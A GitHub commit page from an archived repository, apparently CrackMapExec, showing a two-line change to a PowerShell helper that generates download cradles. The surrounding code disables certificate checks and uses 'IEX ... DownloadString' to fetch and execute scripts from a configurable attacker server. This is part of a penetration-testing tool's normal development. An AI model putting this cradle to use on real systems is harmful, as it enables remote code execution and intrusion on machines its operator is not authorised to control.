Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit dbe142c

Browse files
authored
Merge pull request #280 from awsmhacks/master
update to powershell.py
2 parents 75449f6 + 304836d commit dbe142c

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

cme/helpers/powershell.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -197,6 +197,7 @@ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
197197

198198
launcher = """
199199
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
200+
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
200201
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
201202
{command}
202203
""".format(server=context.server,
@@ -207,6 +208,7 @@ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
207208

208209
elif type(scripts) is list:
209210
launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
211+
launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
210212
for script in scripts:
211213
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server,
212214
port=context.server_port,

0 commit comments

Comments
 (0)